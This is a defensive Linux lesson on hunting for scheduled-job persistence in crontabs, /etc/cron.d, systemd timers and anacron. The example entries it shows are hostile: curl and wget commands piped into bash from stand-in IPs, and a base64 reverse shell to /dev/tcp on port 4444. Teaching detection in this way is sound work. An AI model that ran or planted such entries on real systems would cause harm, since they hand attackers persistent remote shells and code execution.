Signal9Signal9 — home
online
all lessons

Cron Persistence: Hunting Scheduled Backdoors

Intermediate30 min6 steps
What you'll learn
  • Enumerate every place a scheduled job can hide, not just your own crontab
  • Recognize the signatures of a malicious cron entry — base64, piped downloads, reverse shells, and minute-by-minute beacons
  • Hunt rogue systemd timers, the modern replacement for cron
  • Account for anacron, which fires missed jobs after a boot
  • Remove the schedule, not just the process, so a killed backdoor stays dead
  1. Why scheduled jobs are the attacker's favorite persistence

    Understand why killing a backdoor process is not enough — you have to remove its schedule.

    You found the backdoor process, you killed it, the CPU graph went flat. Five minutes later it's back. You kill it again. It comes back again.

    What you're fighting isn't the process — it's the schedule that keeps re-launching it. An attacker who wants to survive reboots and clean-up rarely relies on a single running program. Instead they plant a scheduled job: a line in cron, a systemd timer, an anacron entry — something the system itself faithfully re-runs on a clock. The malware doesn't have to stay alive. It just has to be re-spawned.

    Think of a wind-up toy that rewinds itself. Knock it over and it stands back up, because the spring keeps turning. Stomping the toy (killing the process) does nothing while the spring (the schedule) is intact. To actually stop it you have to find and disarm the spring — and on Linux there are several springs, in several drawers, and a hunter who checks only one drawer declares the box clean while it's still compromised.

  2. Per-user crontabs: check every user, not just yourself

    Enumerate all users' crontabs, since each account has its own and root's is the prize.

    Each user account has its own personal crontab. You read your own with crontab -l, and you read someone else's with crontab -l -u <user>. The catch: an attacker who compromised the www-data account (or root) plants the job in that user's crontab — not yours.

    These personal crontabs live as files under /var/spool/cron/ (the exact subpath varies by distro: /var/spool/cron/crontabs/ on Debian/Ubuntu, /var/spool/cron/ on RHEL). You should never edit those files directly, but as a hunter it's worth knowing they exist — a non-empty spool file for a service account that should never schedule anything is itself suspicious.

    The move that separates a hunter from a beginner: loop over every account in `/etc/passwd` and dump each one's crontab.

    for u in $(cut -f1 -d: /etc/passwd); do echo "=== $u ==="; sudo crontab -l -u "$u" 2>/dev/null; done
    === root ===
    === daemon ===
    === www-data ===
    */5 * * * * curl -s http://203.0.113.45/b.sh | bash
    === backup ===
    0 3 * * * /usr/local/bin/backup.sh
    cut -f1 -d:
    Pull just the username (field 1, colon-delimited) from each line of /etc/passwd.
    crontab -l
    List (print) a crontab instead of editing it.
    -u "$u"
    Target a specific user's crontab. Requires root to read other users'.
    2>/dev/null
    Suppress the 'no crontab for X' noise so only real entries stand out.
    Most accounts have nothing — that's expected. The outlier is `www-data`: a web-server account has no business running a scheduled job at all, and this one runs every 5 minutes (*/5 * * * *), pulling a script off an external IP with curl and piping it straight into bash. That single line is the spring. backup's nightly backup.sh at 3am, by contrast, is a normal administrative job.

    Check yourself

    You're hunting on a web server and run only crontab -l as your login user. Why is that dangerously incomplete?

  3. System-wide cron: /etc/crontab, /etc/cron.d, and the cron.* dirs

    Sweep the system-wide cron locations that personal crontabs never cover.

    Personal crontabs are only half the map. The system has its own scheduling locations, and they're a popular hiding spot precisely because hunters forget them:

    • `/etc/crontab` — the master system crontab. Its lines have an extra field: a username to run as, between the time fields and the command.
    • `/etc/cron.d/` — a drop-in directory. Any file dropped here is treated as a system crontab fragment (same 7-field format). Dropping a single file here is an attacker's clean way to add a job without editing any existing file.
    • `/etc/cron.hourly/`, `/etc/cron.daily/`, `/etc/cron.weekly/`, `/etc/cron.monthly/` — directories of scripts. Anything executable here runs on that cadence. No cron syntax needed: just drop an executable script and it runs.

    Grep them all at once and read every line with fresh suspicion.

    cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
    # /etc/crontab: system-wide crontab
    17 *  * * *  root  cd / && run-parts --report /etc/cron.hourly
    * * * * *  root  /usr/bin/python3 -c 'import socket...' #updated
    
    /etc/cron.d/:
    -rw-r--r-- 1 root root  128 Jun 23 11:40 0hourly
    -rw-r--r-- 1 root root   94 Jun 23 11:52 .sysupdate
    
    /etc/cron.daily/:
    -rwxr-xr-x 1 root root  376 Jun 23 11:55 logrotate
    -rwxr-xr-x 1 root root  211 Jun 23 11:58 man-db
    cat /etc/crontab
    Print the master system crontab (7-field lines with a run-as user).
    ls -la
    Long listing including dotfiles — attackers hide drop-ins with a leading dot.
    Two red flags. In /etc/crontab, the line *` root /usr/bin/python3 -c 'import socket...'** runs **every single minute, as root**, executing inline Python — the run-parts line above it is the only legitimate entry. And in /etc/cron.d/ there's **.sysupdate**: a **dot-prefixed** file (hidden from a plain ls) that masquerades as an update job. Plain ls would never have shown it — that's why you used ls -la`.

    Example — not runnable on your lab box

    cat /etc/cron.d/.sysupdate
    * * * * * root echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDMuMC4xMTMuOS80NDQ0IDA+JjE= | base64 -d | bash
    Decoded, that base64 blob is bash -i >& /dev/tcp/203.0.113.9/4444 0>&1 — a reverse shell to the attacker's host on port 4444, fired every minute as root. The base64 -d | bash pattern exists for one reason: to keep the real payload out of plain sight in logs and casual greps. Seeing base64 -d piped into a shell inside a cron entry is almost always malicious.

    Check yourself

    What does a cron line containing base64 -d | bash (or curl ... | bash) strongly indicate, and why use that form?

  4. systemd timers: the modern cron

    Hunt rogue .timer + .service pairs, which schedule jobs without touching cron at all.

    Modern distros increasingly schedule work with systemd timers instead of cron — and so do modern attackers, because a hunter who only knows cron will never look here. A timer is two units working together (you met units in the systemctl lesson):

    • a `.timer` unit that says when to fire (every 10 minutes, daily, 5 minutes after boot…)
    • a `.service` unit it activates that says what to run.

    Kill the service's process and the timer simply re-activates it on the next tick — the wind-up spring again, just in systemd's drawer. systemctl list-timers is the single command that lays them all out.

    systemctl list-timers --all
    NEXT                        LEFT       LAST  UNIT                  ACTIVATES
    Thu 2026-06-23 12:01:00 UTC  34s left   ...   sysupdate.timer       sysupdate.service
    Thu 2026-06-23 13:00:00 UTC  58min left ...   logrotate.timer       logrotate.service
    Fri 2026-06-24 00:00:00 UTC  11h left   ...   man-db.timer          man-db.service
    
    3 timers listed.
    list-timers
    Show all systemd timers with their next/last fire time and the unit each activates.
    --all
    Include inactive/dead timers too — a disabled-looking rogue timer still shows up.
    logrotate and man-db are stock housekeeping timers. `sysupdate.timer` is the suspect: a generic, official-sounding name, firing again in 34 seconds (a very tight cadence). The ACTIVATES column names its partner unit — sysupdate.service — which is exactly what you read next.
    systemctl cat sysupdate.timer sysupdate.service
    # /etc/systemd/system/sysupdate.timer
    [Timer]
    OnBootSec=2min
    OnUnitActiveSec=1min
    [Install]
    WantedBy=timers.target
    
    # /etc/systemd/system/sysupdate.service
    [Service]
    Type=simple
    ExecStart=/bin/bash -c 'wget -qO- http://203.0.113.77/m | bash'
    cat <unit>
    Print a unit's full on-disk definition (and its file path) without opening an editor.
    The timer fires 2 minutes after boot (OnBootSec) and then every minute (OnUnitActiveSec=1min). Its service's ExecStart runs wget -qO- http://203.0.113.77/m | bash — fetch a remote script and pipe it into a shell, the same curl|bash pattern you saw in cron, now wearing a systemd costume. Both unit files live under /etc/systemd/system/, where local admin (and attacker) units go.

    Check yourself

    A systemd timer schedules a job through a partner unit. What type of unit does a .timer activate to actually run the work?

  5. anacron: the job that catches up after a reboot

    Account for /etc/anacrontab, which runs MISSED jobs once the machine comes back up.

    There's one more drawer, and it's the sneakiest. Plain cron assumes the machine is always on — if a job was scheduled for 3am and the box was powered off, that run is simply skipped. That's a problem for laptops and desktops, which is why anacron exists.

    Anacron doesn't care about wall-clock time; it tracks how many days since each job last ran, and after a boot it runs anything that's overdue. Its config is `/etc/anacrontab`, with entries shaped like period delay job-id command.

    For a hunter this matters enormously: a victim might reasonably think "my laptop was off all night, so the scheduled malware never ran." With anacron, the missed job simply runs when they next power on — the wind-up spring releases the moment the toy is picked back up. So your sweep is incomplete until you've read /etc/anacrontab too.

    Example — not runnable on your lab box

    cat /etc/anacrontab
    SHELL=/bin/sh
    PATH=/sbin:/bin:/usr/sbin:/usr/bin
    # period(days)  delay(min)  job-id        command
    1       5       cron.daily      run-parts --report /etc/cron.daily
    7       25      cron.weekly     run-parts --report /etc/cron.weekly
    1       2       .check          /usr/bin/curl -fsSL http://203.0.113.31/p | sh
    cat /etc/anacrontab
    Print the anacron table: period (days), delay (minutes after boot), job-id, command.
    The first two lines are stock — they hand the daily/weekly directories to anacron so a powered-off box still gets its maintenance. The third, `.check`, is the plant: a 1-day period with only a 2-minute post-boot delay, running curl ... | sh. Translation: within two minutes of every boot (if a day has passed), the machine fetches and runs the attacker's script — guaranteeing the backdoor re-establishes even on a laptop that's rarely on.

    Check yourself

    Why is an anacron entry especially dangerous on a laptop that's frequently powered off?

  6. Try it in your live terminal

    Run the full read-only persistence sweep yourself on the real sandbox to your right.

    You have a real root shell. Run this sweep top to bottom — it's the exact checklist you'd run on a "this box keeps re-infecting itself" call. Every command here is read-only: you're enumerating schedules, not changing anything yet. There may be nothing malicious here; the goal is to make the moves reflexive, so on a real box you check every drawer, not just the first.

    for u in $(cut -f1 -d: /etc/passwd); do echo "=== $u ==="; sudo crontab -l -u "$u" 2>/dev/null; done
    Every user's personal crontab, not just yours. Watch for service accounts (like www-data) with any job, every-minute schedules, and curl/wget/base64 payloads.
    cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
    The system-wide cron locations. Note dot-prefixed drop-ins in /etc/cron.d/ and any unfamiliar script in the cron.* directories.
    systemctl list-timers --all
    Every systemd timer and the service it activates. Investigate any timer with a generic name and a tight cadence by reading its unit: systemctl cat <name>.timer <name>.service.

    Example — not runnable on your lab box

    cat /etc/anacrontab 2>/dev/null || echo 'no /etc/anacrontab here — anacron ships in its own package (Debian/Ubuntu: anacron, RHEL: cronie-anacron); on a box that has it, read this drawer too'
    The catch-up scheduler. Flag any job with a short post-boot delay or a command that fetches and pipes to a shell.
Recap
  • Killing the process doesn't help while the schedule survives — remove the schedule (the wind-up spring), then the process.
  • Check every drawer: all users' crontabs, /etc/crontab, /etc/cron.d/, the cron.{hourly,daily,weekly,monthly} dirs, systemd timers, and anacron. Checking only crontab -l is the classic miss.
  • Malicious-entry signatures: base64 -d | bash, curl/wget piped to a shell, bash -i >& /dev/tcp/.../... reverse shells, hidden dot-files, and * * * * * every-minute cadences.
  • systemd timers are modern cron — a .timer activates a .service; cron-only hunting misses them entirely.
  • anacron runs missed jobs after a boot, so 'the machine was off' is no defense — read /etc/anacrontab too.
Where schedules hide → how to check → red flag
LocationCommand to checkRed flag
Per-user crontabscrontab -l -u <user> for every user in /etc/passwdService account with any job; curl/base64 payload; */1 cadence
Spool filesls -la /var/spool/cron/ /var/spool/cron/crontabs/Non-empty spool for an account that shouldn't schedule anything
System crontabcat /etc/crontabInline python3 -c/bash -c, run-as root, every-minute lines
Drop-in dirls -la /etc/cron.d/Dot-prefixed/hidden files; base64 or /dev/tcp payloads
Periodic dirsls -la /etc/cron.{hourly,daily,weekly,monthly}/Unfamiliar executable scripts you can't account for
systemd timerssystemctl list-timers --all then systemctl cat <t>.timer <t>.serviceGeneric name, tight OnUnitActiveSec, ExecStart that pipes to a shell
anacroncat /etc/anacrontabShort post-boot delay; fetch-and-pipe-to-shell command